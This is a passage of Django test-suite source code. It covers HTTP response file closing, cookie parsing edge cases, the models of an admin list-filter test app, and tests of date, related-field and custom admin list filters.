        r = StreamingHttpResponse(iter(['hello', 'world']))
        self.assertEqual(r.getvalue(), b'helloworld')


class FileCloseTests(SimpleTestCase):

    def setUp(self):
        # Disable the request_finished signal during this test
        # to avoid interfering with the database connection.
        request_finished.disconnect(close_old_connections)

    def tearDown(self):
        request_finished.connect(close_old_connections)

    def test_response(self):
        filename = os.path.join(os.path.dirname(upath(__file__)), 'abc.txt')

        # file isn't closed until we close the response.
        file1 = open(filename)
        r = HttpResponse(file1)
        self.assertTrue(file1.closed)
        r.close()

        # when multiple file are assigned as content, make sure they are all
        # closed with the response.
        file1 = open(filename)
        file2 = open(filename)
        r = HttpResponse(file1)
        r.content = file2
        self.assertTrue(file1.closed)
        self.assertTrue(file2.closed)

    def test_streaming_response(self):
        filename = os.path.join(os.path.dirname(upath(__file__)), 'abc.txt')

        # file isn't closed until we close the response.
        file1 = open(filename)
        r = StreamingHttpResponse(file1)
        self.assertFalse(file1.closed)
        r.close()
        self.assertTrue(file1.closed)

        # when multiple file are assigned as content, make sure they are all
        # closed with the response.
        file1 = open(filename)
        file2 = open(filename)
        r = StreamingHttpResponse(file1)
        r.streaming_content = file2
        self.assertFalse(file1.closed)
        self.assertFalse(file2.closed)
        r.close()
        self.assertTrue(file1.closed)
        self.assertTrue(file2.closed)


class CookieTests(unittest.TestCase):
    def test_encode(self):
        """
        Test that we don't output tricky characters in encoded value
        """
        c = SimpleCookie()
        c['test'] = "An,awkward;value"
        self.assertNotIn(";", c.output().rstrip(';'))  # IE compat
        self.assertNotIn(",", c.output().rstrip(';'))  # Safari compat

    def test_decode(self):
        """
        Test that we can still preserve semi-colons and commas
        """
        c = SimpleCookie()
        c['test'] = "An,awkward;value"
        c2 = SimpleCookie()
        c2.load(c.output()[12:])
        self.assertEqual(c['test'].value, c2['test'].value)
        c3 = parse_cookie(c.output()[12:])
        self.assertEqual(c['test'].value, c3['test'])

    def test_decode_2(self):
        """
        Test that we haven't broken normal encoding
        """
        c = SimpleCookie()
        c['test'] = b"\xf0"
        c2 = SimpleCookie()
        c2.load(c.output()[12:])
        self.assertEqual(c['test'].value, c2['test'].value)
        c3 = parse_cookie(c.output()[12:])
        self.assertEqual(c['test'].value, c3['test'])

    def test_nonstandard_keys(self):
        """
        Test that a single non-standard cookie name doesn't affect all cookies. Ticket #13007.
        """
        self.assertIn('good_cookie', parse_cookie('good_cookie=yes;bad:cookie=yes').keys())

    def test_repeated_nonstandard_keys(self):
        """
        Test that a repeated non-standard name doesn't affect all cookies. Ticket #15852
        """
        self.assertIn('good_cookie', parse_cookie('a:=b; a:=c; good_cookie=yes').keys())

    def test_python_cookies(self):
        """
        Test cases copied from Python's Lib/test/test_http_cookies.py
        """
        self.assertEqual(parse_cookie('chips=ahoy; vienna=finger'), {'chips': 'ahoy', 'vienna': 'finger'})
        # Here parse_cookie() differs from Python's cookie parsing in that it
        # treats all semicolons as delimiters, even within quotes.
        self.assertEqual(
            parse_cookie('keebler="E=mc2; L=\\"Loves\\"; fudge=\\012;"'),
            {'keebler': '"E=mc2', 'L': '\\"Loves\\"', 'fudge': '\\012', '': '"'}
        )
        # Illegal cookies that have an '=' char in an unquoted value.
        self.assertEqual(parse_cookie('keebler=E=mc2'), {'keebler': 'E=mc2'})
        # Cookies with ':' character in their name.
        self.assertEqual(parse_cookie('key:term=value:term'), {'key:term': 'value:term'})
        # Cookies with '[' and ']'.
        self.assertEqual(parse_cookie('a=b; c=[; d=r; f=h'), {'a': 'b', 'c': '[', 'd': 'r', 'f': 'h'})

    def test_cookie_edgecases(self):
        # Cookies that RFC6265 allows.
        self.assertEqual(parse_cookie('a=b; Domain=example.com'), {'a': 'b', 'Domain': 'example.com'})
        # parse_cookie() has historically kept only the last cookie with the
        # same name.
        self.assertEqual(parse_cookie('a=b; h=i; a=c'), {'a': 'c', 'h': 'i'})

    def test_invalid_cookies(self):
        """
        Cookie strings that go against RFC6265 but browsers will send if set
        via document.cookie.
        """
        # Chunks without an equals sign appear as unnamed values per
        # https://bugzilla.mozilla.org/show_bug.cgi?id=169091
        self.assertIn('django_language', parse_cookie('abc=def; unnamed; django_language=en').keys())
        # Even a double quote may be an unamed value.
        self.assertEqual(parse_cookie('a=b; "; c=d'), {'a': 'b', '': '"', 'c': 'd'})
        # Spaces in names and values, and an equals sign in values.
        self.assertEqual(parse_cookie('a b c=d e = f; gh=i'), {'a b c': 'd e = f', 'gh': 'i'})
        # More characters the spec forbids.
        self.assertEqual(parse_cookie('a   b,c<>@:/[]?{}=d  "  =e,f g'), {'a   b,c<>@:/[]?{}': 'd  "  =e,f g'})
        # Unicode characters. The spec only allows ASCII.
        self.assertEqual(parse_cookie('saint=André Bessette'), {'saint': force_str('André Bessette')})
        # Browsers don't send extra whitespace or semicolons in Cookie headers,
        # but parse_cookie() should parse whitespace the same way
        # document.cookie parses whitespace.
        self.assertEqual(parse_cookie('  =  b  ;  ;  =  ;   c  =  ;  '), {'': 'b', 'c': ''})

    def test_httponly_after_load(self):
        """
        Test that we can use httponly attribute on cookies that we load
        """
        c = SimpleCookie()
        c.load("name=val")
        c['name']['httponly'] = True
        self.assertTrue(c['name']['httponly'])

    def test_load_dict(self):
        c = SimpleCookie()
        c.load({'name': 'val'})
        self.assertEqual(c['name'].value, 'val')

    @unittest.skipUnless(six.PY2, "PY3 throws an exception on invalid cookie keys.")
    def test_bad_cookie(self):
        """
        Regression test for #18403
        """
        r = HttpResponse()
        r.set_cookie("a:.b/", 1)
        self.assertEqual(len(r.cookies.bad_cookies), 1)

    def test_pickle(self):
        rawdata = 'Customer="WILE_E_COYOTE"; Path=/acme; Version=1'
        expected_output = 'Set-Cookie: %s' % rawdata

        C = SimpleCookie()
        C.load(rawdata)
        self.assertEqual(C.output(), expected_output)

        for proto in range(pickle.HIGHEST_PROTOCOL + 1):
            C1 = pickle.loads(pickle.dumps(C, protocol=proto))
            self.assertEqual(C1.output(), expected_output)






from __future__ import unicode_literals

from django.contrib.auth.models import User
from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Book(models.Model):
    title = models.CharField(max_length=50)
    year = models.PositiveIntegerField(null=True, blank=True)
    author = models.ForeignKey(
        User,
        models.SET_NULL,
        verbose_name="Verbose Author",
        related_name='books_authored',
        blank=True, null=True,
    )
    contributors = models.ManyToManyField(
        User,
        verbose_name="Verbose Contributors",
        related_name='books_contributed',
        blank=True,
    )
    employee = models.ForeignKey(
        'Employee',
        models.SET_NULL,
        verbose_name='Employee',
        blank=True, null=True,
    )
    is_best_seller = models.NullBooleanField(default=0)
    date_registered = models.DateField(null=True)
    # This field name is intentionally 2 characters long (#16080).
    no = models.IntegerField(verbose_name='number', blank=True, null=True)

    def __str__(self):
        return self.title


@python_2_unicode_compatible
class Department(models.Model):
    code = models.CharField(max_length=4, unique=True)
    description = models.CharField(max_length=50, blank=True, null=True)

    def __str__(self):
        return self.description


@python_2_unicode_compatible
class Employee(models.Model):
    department = models.ForeignKey(Department, models.CASCADE, to_field="code")
    name = models.CharField(max_length=100)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class TaggedItem(models.Model):
    tag = models.SlugField()
    content_type = models.ForeignKey(ContentType, models.CASCADE, related_name='tagged_items')
    object_id = models.PositiveIntegerField()
    content_object = GenericForeignKey('content_type', 'object_id')

    def __str__(self):
        return self.tag


@python_2_unicode_compatible
class Bookmark(models.Model):
    url = models.URLField()
    tags = GenericRelation(TaggedItem)

    CHOICES = [
        ('a', 'A'),
        (None, 'None'),
        ('', '-'),
    ]
    none_or_null = models.CharField(max_length=20, choices=CHOICES, blank=True, null=True)

    def __str__(self):
        return self.url












from __future__ import unicode_literals

import datetime
import sys
import unittest

from django.contrib.admin import (
    AllValuesFieldListFilter, BooleanFieldListFilter, ModelAdmin,
    RelatedOnlyFieldListFilter, SimpleListFilter, site,
)
from django.contrib.admin.views.main import ChangeList
from django.contrib.auth.admin import UserAdmin
from django.contrib.auth.models import User
from django.core.exceptions import ImproperlyConfigured
from django.test import RequestFactory, TestCase, override_settings
from django.utils.encoding import force_text

from .models import Book, Bookmark, Department, Employee, TaggedItem


def select_by(dictlist, key, value):
    return [x for x in dictlist if x[key] == value][0]


class DecadeListFilter(SimpleListFilter):

    def lookups(self, request, model_admin):
        return (
            ('the 80s', "the 1980's"),
            ('the 90s', "the 1990's"),
            ('the 00s', "the 2000's"),
            ('other', "other decades"),
        )

    def queryset(self, request, queryset):
        decade = self.value()
        if decade == 'the 80s':
            return queryset.filter(year__gte=1980, year__lte=1989)
        if decade == 'the 90s':
            return queryset.filter(year__gte=1990, year__lte=1999)
        if decade == 'the 00s':
            return queryset.filter(year__gte=2000, year__lte=2009)


class NotNinetiesListFilter(SimpleListFilter):
    title = "Not nineties books"
    parameter_name = "book_year"

    def lookups(self, request, model_admin):
        return (
            ('the 90s', "the 1990's"),
        )

    def queryset(self, request, queryset):
        if self.value() == 'the 90s':
            return queryset.filter(year__gte=1990, year__lte=1999)
        else:
            return queryset.exclude(year__gte=1990, year__lte=1999)


class DecadeListFilterWithTitleAndParameter(DecadeListFilter):
    title = 'publication decade'
    parameter_name = 'publication-decade'


class DecadeListFilterWithoutTitle(DecadeListFilter):
    parameter_name = 'publication-decade'


class DecadeListFilterWithoutParameter(DecadeListFilter):
    title = 'publication decade'


class DecadeListFilterWithNoneReturningLookups(DecadeListFilterWithTitleAndParameter):

    def lookups(self, request, model_admin):
        pass


class DecadeListFilterWithFailingQueryset(DecadeListFilterWithTitleAndParameter):

    def queryset(self, request, queryset):
        raise 1 / 0


class DecadeListFilterWithQuerysetBasedLookups(DecadeListFilterWithTitleAndParameter):

    def lookups(self, request, model_admin):
        qs = model_admin.get_queryset(request)
        if qs.filter(year__gte=1980, year__lte=1989).exists():
            yield ('the 80s', "the 1980's")
        if qs.filter(year__gte=1990, year__lte=1999).exists():
            yield ('the 90s', "the 1990's")
        if qs.filter(year__gte=2000, year__lte=2009).exists():
            yield ('the 00s', "the 2000's")


class DecadeListFilterParameterEndsWith__In(DecadeListFilter):
    title = 'publication decade'
    parameter_name = 'decade__in'  # Ends with '__in"


class DecadeListFilterParameterEndsWith__Isnull(DecadeListFilter):
    title = 'publication decade'
    parameter_name = 'decade__isnull'  # Ends with '__isnull"


class DepartmentListFilterLookupWithNonStringValue(SimpleListFilter):
    title = 'department'
    parameter_name = 'department'

    def lookups(self, request, model_admin):
        return sorted({
            (employee.department.id,  # Intentionally not a string (Refs #19318)
             employee.department.code)
            for employee in model_admin.get_queryset(request).all()
        })

    def queryset(self, request, queryset):
        if self.value():
            return queryset.filter(department__id=self.value())


class DepartmentListFilterLookupWithUnderscoredParameter(DepartmentListFilterLookupWithNonStringValue):
    parameter_name = 'department__whatever'


class DepartmentListFilterLookupWithDynamicValue(DecadeListFilterWithTitleAndParameter):

    def lookups(self, request, model_admin):
        if self.value() == 'the 80s':
            return (('the 90s', "the 1990's"),)
        elif self.value() == 'the 90s':
            return (('the 80s', "the 1980's"),)
        else:
            return (('the 80s', "the 1980's"), ('the 90s', "the 1990's"),)


class CustomUserAdmin(UserAdmin):
    list_filter = ('books_authored', 'books_contributed')


class BookAdmin(ModelAdmin):
    list_filter = ('year', 'author', 'contributors', 'is_best_seller', 'date_registered', 'no')
    ordering = ('-id',)


class BookAdminWithTupleBooleanFilter(BookAdmin):
    list_filter = (
        'year',
        'author',
        'contributors',
        ('is_best_seller', BooleanFieldListFilter),
        'date_registered',
        'no',
    )


class BookAdminWithUnderscoreLookupAndTuple(BookAdmin):
    list_filter = (
        'year',
        ('author__email', AllValuesFieldListFilter),
        'contributors',
        'is_best_seller',
        'date_registered',
        'no',
    )


class BookAdminWithCustomQueryset(ModelAdmin):

    def __init__(self, user, *args, **kwargs):
        self.user = user
        super(BookAdminWithCustomQueryset, self).__init__(*args, **kwargs)

    list_filter = ('year',)

    def get_queryset(self, request):
        return super(BookAdminWithCustomQueryset, self).get_queryset(request).filter(author=self.user)


class BookAdminRelatedOnlyFilter(ModelAdmin):
    list_filter = (
        'year', 'is_best_seller', 'date_registered', 'no',
        ('author', RelatedOnlyFieldListFilter),
        ('contributors', RelatedOnlyFieldListFilter),
        ('employee__department', RelatedOnlyFieldListFilter),
    )
    ordering = ('-id',)


class DecadeFilterBookAdmin(ModelAdmin):
    list_filter = ('author', DecadeListFilterWithTitleAndParameter)
    ordering = ('-id',)


class NotNinetiesListFilterAdmin(ModelAdmin):
    list_filter = (NotNinetiesListFilter,)


class DecadeFilterBookAdminWithoutTitle(ModelAdmin):
    list_filter = (DecadeListFilterWithoutTitle,)


class DecadeFilterBookAdminWithoutParameter(ModelAdmin):
    list_filter = (DecadeListFilterWithoutParameter,)


class DecadeFilterBookAdminWithNoneReturningLookups(ModelAdmin):
    list_filter = (DecadeListFilterWithNoneReturningLookups,)


class DecadeFilterBookAdminWithFailingQueryset(ModelAdmin):
    list_filter = (DecadeListFilterWithFailingQueryset,)


class DecadeFilterBookAdminWithQuerysetBasedLookups(ModelAdmin):
    list_filter = (DecadeListFilterWithQuerysetBasedLookups,)


class DecadeFilterBookAdminParameterEndsWith__In(ModelAdmin):
    list_filter = (DecadeListFilterParameterEndsWith__In,)


class DecadeFilterBookAdminParameterEndsWith__Isnull(ModelAdmin):
    list_filter = (DecadeListFilterParameterEndsWith__Isnull,)


class EmployeeAdmin(ModelAdmin):
    list_display = ['name', 'department']
    list_filter = ['department']


class DepartmentFilterEmployeeAdmin(EmployeeAdmin):
    list_filter = [DepartmentListFilterLookupWithNonStringValue, ]


class DepartmentFilterUnderscoredEmployeeAdmin(EmployeeAdmin):
    list_filter = [DepartmentListFilterLookupWithUnderscoredParameter, ]


class DepartmentFilterDynamicValueBookAdmin(EmployeeAdmin):
    list_filter = [DepartmentListFilterLookupWithDynamicValue, ]


class BookmarkAdminGenericRelation(ModelAdmin):
    list_filter = ['tags__tag']


class ListFiltersTests(TestCase):

    def setUp(self):
        self.today = datetime.date.today()
        self.tomorrow = self.today + datetime.timedelta(days=1)
        self.one_week_ago = self.today - datetime.timedelta(days=7)
        if self.today.month == 12:
            self.next_month = self.today.replace(year=self.today.year + 1, month=1, day=1)
        else:
            self.next_month = self.today.replace(month=self.today.month + 1, day=1)
        self.next_year = self.today.replace(year=self.today.year + 1, month=1, day=1)

        self.request_factory = RequestFactory()

        # Users
        self.alfred = User.objects.create_user('alfred', 'alfred@example.com')
        self.bob = User.objects.create_user('bob', 'bob@example.com')
        self.lisa = User.objects.create_user('lisa', 'lisa@example.com')

        # Books
        self.djangonaut_book = Book.objects.create(
            title='Djangonaut: an art of living', year=2009,
            author=self.alfred, is_best_seller=True, date_registered=self.today,
        )
        self.bio_book = Book.objects.create(
            title='Django: a biography', year=1999, author=self.alfred,
            is_best_seller=False, no=207,
        )
        self.django_book = Book.objects.create(
            title='The Django Book', year=None, author=self.bob,
            is_best_seller=None, date_registered=self.today, no=103,
        )
        self.guitar_book = Book.objects.create(
            title='Guitar for dummies', year=2002, is_best_seller=True,
            date_registered=self.one_week_ago,
        )
        self.guitar_book.contributors.set([self.bob, self.lisa])

        # Departments
        self.dev = Department.objects.create(code='DEV', description='Development')
        self.design = Department.objects.create(code='DSN', description='Design')

        # Employees
        self.john = Employee.objects.create(name='John Blue', department=self.dev)
        self.jack = Employee.objects.create(name='Jack Red', department=self.design)

    def get_changelist(self, request, model, modeladmin):
        return ChangeList(
            request, model, modeladmin.list_display,
            modeladmin.list_display_links, modeladmin.list_filter,
            modeladmin.date_hierarchy, modeladmin.search_fields,
            modeladmin.list_select_related, modeladmin.list_per_page,
            modeladmin.list_max_show_all, modeladmin.list_editable, modeladmin,
        )

    def test_choicesfieldlistfilter_has_none_choice(self):
        """
        The last choice is for the None value.
        """
        class BookmarkChoicesAdmin(ModelAdmin):
            list_display = ['none_or_null']
            list_filter = ['none_or_null']

        modeladmin = BookmarkChoicesAdmin(Bookmark, site)
        request = self.request_factory.get('/', {})
        changelist = self.get_changelist(request, Bookmark, modeladmin)
        filterspec = changelist.get_filters(request)[0][0]
        choices = list(filterspec.choices(changelist))
        self.assertEqual(choices[-1]['display'], 'None')
        self.assertEqual(choices[-1]['query_string'], '?none_or_null__isnull=True')

    def test_datefieldlistfilter(self):
        modeladmin = BookAdmin(Book, site)

        request = self.request_factory.get('/')
        changelist = self.get_changelist(request, Book, modeladmin)

        request = self.request_factory.get('/', {'date_registered__gte': self.today,
                                                 'date_registered__lt': self.tomorrow})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.django_book, self.djangonaut_book])

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][4]
        self.assertEqual(force_text(filterspec.title), 'date registered')
        choice = select_by(filterspec.choices(changelist), "display", "Today")
        self.assertIs(choice['selected'], True)
        self.assertEqual(
            choice['query_string'],
            '?date_registered__gte=%s&date_registered__lt=%s' % (
                self.today,
                self.tomorrow,
            )
        )

        request = self.request_factory.get('/', {'date_registered__gte': self.today.replace(day=1),
                                                 'date_registered__lt': self.next_month})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        if (self.today.year, self.today.month) == (self.one_week_ago.year, self.one_week_ago.month):
            # In case one week ago is in the same month.
            self.assertEqual(list(queryset), [self.guitar_book, self.django_book, self.djangonaut_book])
        else:
            self.assertEqual(list(queryset), [self.django_book, self.djangonaut_book])

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][4]
        self.assertEqual(force_text(filterspec.title), 'date registered')
        choice = select_by(filterspec.choices(changelist), "display", "This month")
        self.assertIs(choice['selected'], True)
        self.assertEqual(
            choice['query_string'],
            '?date_registered__gte=%s&date_registered__lt=%s' % (
                self.today.replace(day=1),
                self.next_month,
            )
        )

        request = self.request_factory.get('/', {'date_registered__gte': self.today.replace(month=1, day=1),
                                                 'date_registered__lt': self.next_year})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        if self.today.year == self.one_week_ago.year:
            # In case one week ago is in the same year.
            self.assertEqual(list(queryset), [self.guitar_book, self.django_book, self.djangonaut_book])
        else:
            self.assertEqual(list(queryset), [self.django_book, self.djangonaut_book])

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][4]
        self.assertEqual(force_text(filterspec.title), 'date registered')
        choice = select_by(filterspec.choices(changelist), "display", "This year")
        self.assertIs(choice['selected'], True)
        self.assertEqual(
            choice['query_string'],
            '?date_registered__gte=%s&date_registered__lt=%s' % (
                self.today.replace(month=1, day=1),
                self.next_year,
            )
        )

        request = self.request_factory.get('/', {
            'date_registered__gte': str(self.one_week_ago),
            'date_registered__lt': str(self.tomorrow),
        })
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.guitar_book, self.django_book, self.djangonaut_book])

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][4]
        self.assertEqual(force_text(filterspec.title), 'date registered')
        choice = select_by(filterspec.choices(changelist), "display", "Past 7 days")
        self.assertIs(choice['selected'], True)
        self.assertEqual(
            choice['query_string'],
            '?date_registered__gte=%s&date_registered__lt=%s' % (
                str(self.one_week_ago),
                str(self.tomorrow),
            )
        )

        # Null/not null queries
        request = self.request_factory.get('/', {'date_registered__isnull': 'True'})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(queryset.count(), 1)
        self.assertEqual(queryset[0], self.bio_book)

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][4]
        self.assertEqual(force_text(filterspec.title), 'date registered')
        choice = select_by(filterspec.choices(changelist), 'display', 'No date')
        self.assertIs(choice['selected'], True)
        self.assertEqual(choice['query_string'], '?date_registered__isnull=True')

        request = self.request_factory.get('/', {'date_registered__isnull': 'False'})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(queryset.count(), 3)
        self.assertEqual(list(queryset), [self.guitar_book, self.django_book, self.djangonaut_book])

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][4]
        self.assertEqual(force_text(filterspec.title), 'date registered')
        choice = select_by(filterspec.choices(changelist), 'display', 'Has date')
        self.assertIs(choice['selected'], True)
        self.assertEqual(choice['query_string'], '?date_registered__isnull=False')

    @unittest.skipIf(
        sys.platform.startswith('win'),
        "Windows doesn't support setting a timezone that differs from the "
        "system timezone."
    )
    @override_settings(USE_TZ=True)
    def test_datefieldlistfilter_with_time_zone_support(self):
        # Regression for #17830
        self.test_datefieldlistfilter()

    def test_allvaluesfieldlistfilter(self):
        modeladmin = BookAdmin(Book, site)

        request = self.request_factory.get('/', {'year__isnull': 'True'})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.django_book])

        # Make sure the last choice is None and is selected
        filterspec = changelist.get_filters(request)[0][0]
        self.assertEqual(force_text(filterspec.title), 'year')
        choices = list(filterspec.choices(changelist))
        self.assertIs(choices[-1]['selected'], True)
        self.assertEqual(choices[-1]['query_string'], '?year__isnull=True')

        request = self.request_factory.get('/', {'year': '2002'})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][0]
        self.assertEqual(force_text(filterspec.title), 'year')
        choices = list(filterspec.choices(changelist))
        self.assertIs(choices[2]['selected'], True)
        self.assertEqual(choices[2]['query_string'], '?year=2002')

    def test_allvaluesfieldlistfilter_custom_qs(self):
        # Make sure that correct filters are returned with custom querysets
        modeladmin = BookAdminWithCustomQueryset(self.alfred, Book, site)
        request = self.request_factory.get('/')
        changelist = self.get_changelist(request, Book, modeladmin)

        filterspec = changelist.get_filters(request)[0][0]
        choices = list(filterspec.choices(changelist))
        # Should have 'All', 1999 and 2009 options i.e. the subset of years of
        # books written by alfred (which is the filtering criteria set by
        # BookAdminWithCustomQueryset.get_queryset())
        self.assertEqual(3, len(choices))
        self.assertEqual(choices[0]['query_string'], '?')
        self.assertEqual(choices[1]['query_string'], '?year=1999')
        self.assertEqual(choices[2]['query_string'], '?year=2009')

    def test_relatedfieldlistfilter_foreignkey(self):
        modeladmin = BookAdmin(Book, site)

        request = self.request_factory.get('/')
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure that all users are present in the author's list filter
        filterspec = changelist.get_filters(request)[0][1]
        expected = [(self.alfred.pk, 'alfred'), (self.bob.pk, 'bob'), (self.lisa.pk, 'lisa')]
        self.assertEqual(sorted(filterspec.lookup_choices), sorted(expected))

        request = self.request_factory.get('/', {'author__isnull': 'True'})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.guitar_book])

        # Make sure the last choice is None and is selected
        filterspec = changelist.get_filters(request)[0][1]
        self.assertEqual(force_text(filterspec.title), 'Verbose Author')
        choices = list(filterspec.choices(changelist))
        self.assertIs(choices[-1]['selected'], True)
        self.assertEqual(choices[-1]['query_string'], '?author__isnull=True')

        request = self.request_factory.get('/', {'author__id__exact': self.alfred.pk})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][1]
        self.assertEqual(force_text(filterspec.title), 'Verbose Author')
        # order of choices depends on User model, which has no order
        choice = select_by(filterspec.choices(changelist), "display", "alfred")
        self.assertIs(choice['selected'], True)
        self.assertEqual(choice['query_string'], '?author__id__exact=%d' % self.alfred.pk)

    def test_relatedfieldlistfilter_manytomany(self):
        modeladmin = BookAdmin(Book, site)

        request = self.request_factory.get('/')
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure that all users are present in the contrib's list filter
        filterspec = changelist.get_filters(request)[0][2]
        expected = [(self.alfred.pk, 'alfred'), (self.bob.pk, 'bob'), (self.lisa.pk, 'lisa')]
        self.assertEqual(sorted(filterspec.lookup_choices), sorted(expected))

        request = self.request_factory.get('/', {'contributors__isnull': 'True'})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.django_book, self.bio_book, self.djangonaut_book])

        # Make sure the last choice is None and is selected
        filterspec = changelist.get_filters(request)[0][2]
        self.assertEqual(force_text(filterspec.title), 'Verbose Contributors')
        choices = list(filterspec.choices(changelist))
        self.assertIs(choices[-1]['selected'], True)
        self.assertEqual(choices[-1]['query_string'], '?contributors__isnull=True')

        request = self.request_factory.get('/', {'contributors__id__exact': self.bob.pk})
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][2]
        self.assertEqual(force_text(filterspec.title), 'Verbose Contributors')
        choice = select_by(filterspec.choices(changelist), "display", "bob")
        self.assertIs(choice['selected'], True)
        self.assertEqual(choice['query_string'], '?contributors__id__exact=%d' % self.bob.pk)

    def test_relatedfieldlistfilter_reverse_relationships(self):
        modeladmin = CustomUserAdmin(User, site)

        # FK relationship -----
        request = self.request_factory.get('/', {'books_authored__isnull': 'True'})
        changelist = self.get_changelist(request, User, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.lisa])

        # Make sure the last choice is None and is selected
        filterspec = changelist.get_filters(request)[0][0]
        self.assertEqual(force_text(filterspec.title), 'book')
        choices = list(filterspec.choices(changelist))
        self.assertIs(choices[-1]['selected'], True)
        self.assertEqual(choices[-1]['query_string'], '?books_authored__isnull=True')

        request = self.request_factory.get('/', {'books_authored__id__exact': self.bio_book.pk})
        changelist = self.get_changelist(request, User, modeladmin)

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][0]
        self.assertEqual(force_text(filterspec.title), 'book')
        choice = select_by(filterspec.choices(changelist), "display", self.bio_book.title)
        self.assertIs(choice['selected'], True)
        self.assertEqual(choice['query_string'], '?books_authored__id__exact=%d' % self.bio_book.pk)

        # M2M relationship -----
        request = self.request_factory.get('/', {'books_contributed__isnull': 'True'})
        changelist = self.get_changelist(request, User, modeladmin)

        # Make sure the correct queryset is returned
        queryset = changelist.get_queryset(request)
        self.assertEqual(list(queryset), [self.alfred])

        # Make sure the last choice is None and is selected
        filterspec = changelist.get_filters(request)[0][1]
        self.assertEqual(force_text(filterspec.title), 'book')
        choices = list(filterspec.choices(changelist))
        self.assertIs(choices[-1]['selected'], True)
        self.assertEqual(choices[-1]['query_string'], '?books_contributed__isnull=True')

        request = self.request_factory.get('/', {'books_contributed__id__exact': self.django_book.pk})
        changelist = self.get_changelist(request, User, modeladmin)

        # Make sure the correct choice is selected
        filterspec = changelist.get_filters(request)[0][1]
        self.assertEqual(force_text(filterspec.title), 'book')
        choice = select_by(filterspec.choices(changelist), "display", self.django_book.title)
        self.assertIs(choice['selected'], True)
        self.assertEqual(choice['query_string'], '?books_contributed__id__exact=%d' % self.django_book.pk)

        # With one book, the list filter should appear because there is also a
        # (None) option.
        Book.objects.exclude(pk=self.djangonaut_book.pk).delete()
        filterspec = changelist.get_filters(request)[0]
        self.assertEqual(len(filterspec), 2)
        # With no books remaining, no list filters should appear.
        Book.objects.all().delete()
        filterspec = changelist.get_filters(request)[0]
        self.assertEqual(len(filterspec), 0)

    def test_relatedonlyfieldlistfilter_foreignkey(self):
        modeladmin = BookAdminRelatedOnlyFilter(Book, site)

        request = self.request_factory.get('/')
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure that only actual authors are present in author's list filter
        filterspec = changelist.get_filters(request)[0][4]
        expected = [(self.alfred.pk, 'alfred'), (self.bob.pk, 'bob')]
        self.assertEqual(sorted(filterspec.lookup_choices), sorted(expected))

    def test_relatedonlyfieldlistfilter_underscorelookup_foreignkey(self):
        Department.objects.create(code='TEST', description='Testing')
        self.djangonaut_book.employee = self.john
        self.djangonaut_book.save()
        self.bio_book.employee = self.jack
        self.bio_book.save()

        modeladmin = BookAdminRelatedOnlyFilter(Book, site)
        request = self.request_factory.get('/')
        changelist = self.get_changelist(request, Book, modeladmin)

        # Only actual departments should be present in employee__department's
        # list filter.
        filterspec = changelist.get_filters(request)[0][6]
        expected = [
            (self.dev.code, str(self.dev)),
            (self.design.code, str(self.design)),
        ]
        self.assertEqual(sorted(filterspec.lookup_choices), sorted(expected))

    def test_relatedonlyfieldlistfilter_manytomany(self):
        modeladmin = BookAdminRelatedOnlyFilter(Book, site)

        request = self.request_factory.get('/')
        changelist = self.get_changelist(request, Book, modeladmin)

        # Make sure that only actual contributors are present in contrib's list filter
        filterspec = changelist.get_filters(request)[0][5]
        expected = [(self.bob.pk, 'bob'), (self.lisa.pk, 'lisa')]
        self.assertEqual(sorted(filterspec.lookup_choices), sorted(expected))

    def test_listfilter_genericrelation(self):
        django_bookmark = Bookmark.objects.create(url='https://www.djangoproject.com/')
        python_bookmark = Bookmark.objects.create(url='https://www.python.org/')
        kernel_bookmark = Bookmark.objects.create(url='https://www.kernel.org/')

        TaggedItem.objects.create(content_object=django_bookmark, tag='python')
        TaggedItem.objects.create(content_object=python_bookmark, tag='python')
        TaggedItem.objects.create(content_object=kernel_bookmark, tag='linux')

        modeladmin = BookmarkAdminGenericRelation(Bookmark, site)

        request = self.request_factory.get('/', {'tags__tag': 'python'})
        changelist = self.get_changelist(request, Bookmark, modeladmin)
        queryset = changelist.get_queryset(request)

